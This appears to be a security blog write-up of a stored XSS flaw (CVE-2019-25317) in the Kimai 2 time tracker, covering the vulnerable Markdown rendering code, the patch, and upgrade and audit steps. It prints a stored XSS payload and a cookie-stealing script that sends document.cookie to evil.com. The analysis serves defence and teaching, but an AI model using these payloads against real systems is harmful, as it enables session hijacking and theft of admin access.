Time is Money, and XSS: Dissecting CVE-2019-25317 in Kimai 2

Time tracking software is usually the most boring part of a developer's day. You log your hours, you describe what you did, and you hope someone approves the invoice. But in Kimai 2, that mundane 'description' field was a ticking time bomb. CVE-2019-25317 is a Stored Cross-Site Scripting (XSS) vulnerability that turned the simple act of logging work into a vector for privilege escalation.

The premise is simple: Kimai allows users to format their timesheet descriptions using Markdown. This is a nice feature for readability—bold text, lists, maybe a link to a commit. However, the developers forgot the golden rule of web security: never trust user input. Because the application blindly rendered Markdown into HTML without sanitization, it created a scenario where a low-privileged user (like a contractor or junior dev) could plant a trap for a high-privileged user (like a project manager or admin).

It’s a classic "watering hole" attack, but the watering hole is the payroll system. The attacker doesn't need to phish the admin; they just need to wait for payday. When the admin logs in to approve hours, the browser executes the malicious payload, potentially handing over session cookies and administrative control on a silver platter.

The root cause of this vulnerability lies in how Kimai handled Markdown parsing. Markdown parsers often have a "feature" that allows raw HTML to be embedded directly into the text. If you don't explicitly disable this feature, <script>alert(1)</script> is valid Markdown. And that is exactly what happened here.

Kimai utilized a Twig filter called desc2html to process user input. This filter mapped back to a PHP method markdownToHtml within the MarkdownExtension.php file. The critical error wasn't in using Markdown, but in the configuration of the parser. The developers explicitly told the parser to allow HTML tags.

Here is the logic flaw in a nutshell: The application took the user's raw input from the database and passed it directly to a parser configured to respect HTML tags. It didn't strip dangerous tags, it didn't encode entities, and it didn't use a Content Security Policy (CSP) to mitigate the damage. It just rendered whatever the user typed, effectively letting the inmates run the asylum.

Let's look at the code. The vulnerability existed primarily in src/Twig/MarkdownExtension.php. The markdownToHtml function accepted content and passed it to the underlying markdown engine. Notice the second parameter in the toHtml call below.

Vulnerable Code (Before Patch):

public function markdownToHtml(string $content): string
{
    // The 'true' flag here enables raw HTML parsing!
    return $this->markdown->toHtml($content, true);
}

That single true boolean was the difference between a bold font and a stolen session. But it gets worse. In the Twig templates (like templates/timesheet/index.html.twig), the output was piped directly to this filter without any prior escaping.

Vulnerable Template:

<td class="timesheet-description">
    {{ entry.description|desc2html }}
</td>

The Fix (Commit a0e8aa): The patch did two things. First, it flipped the boolean to false in the PHP extension to disable raw HTML. Second, and perhaps more importantly, it updated the templates to escape the input before passing it to the markdown converter. This ensures that even if the parser slips up, the browser sees <script> instead of <script>.

Patched Code:

public function markdownToHtml(string $content): string
{
    return $this->markdown->toHtml($content, false);
}

Patched Template:

<td class="timesheet-description">
    {{ entry.description|escape|desc2html }}
</td>

Exploiting this is trivially easy for anyone with an account. You don't need fancy tools; a browser and a bit of malice will do. The goal is to inject a JavaScript payload that executes when the victim views the timesheet listing.

The Attack Chain:

1. Log in as a low-level user.
2. Create a Timesheet: Navigate to /timesheet/create.
3. Inject Payload: In the "Description" field, insert the following:

   "><svg/onload=alert('System_Compromised')>

   The leading "> helps break out of any potential attribute contexts, though in this case, we are mostly just concerned with the raw rendering.
4. Wait: The payload is now stored in the database.
5. Trigger: When the Administrator logs in to review the week's logs, the browser parses the SVG tag. The onload event fires immediately, executing the JavaScript.

In a real-world scenario, an attacker wouldn't just pop an alert box. They would inject something like this to steal the admin's session ID:

<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>

Once the attacker has the PHPSESSID, they can hijack the admin's session, create a new admin account for themselves, or exfiltrate sensitive client data.

Why should we care about XSS in an internal tool? Because internal tools often hold the keys to the kingdom. Kimai is used for invoicing, project management, and budget tracking. Access to this system as an administrator allows an attacker to:

• Modify Invoices: Alter bank details or amounts.
• Exfiltrate Data: Steal client lists, project details, and employee habits.
• Pivot: If the admin uses the same password for Kimai as they do for the production server (and let's be honest, they probably do), this is a stepping stone to a full infrastructure compromise.

The CVSS score is 6.4 (Medium), which feels deceptively low. In a targeted engagement, this is a gold mine. It turns a valid, low-privilege access credential into full administrative control with zero interaction required from the attacker after the initial implant.

The fix is straightforward, but it highlights the importance of defense-in-depth.

Immediate Steps:

1. Upgrade: Ensure you are running Kimai 2 version 1.1 or later. The patch was merged in July 2019, so if you are vulnerable, you are very behind on updates.
2. Audit: Check your kimai2_timesheet table. Run a SQL query looking for %<script>%, %onload=%, or %javascript:%. If you find any, you might already have a breach.

Developer Takeaway: When using template engines like Twig, always understand the order of operations. escape filters should usually come first when dealing with user input that will be transformed by another filter. Relying solely on the markdown parser's configuration is risky; explicit escaping provides a safety net that catches errors even if the parser configuration accidentally changes in the future.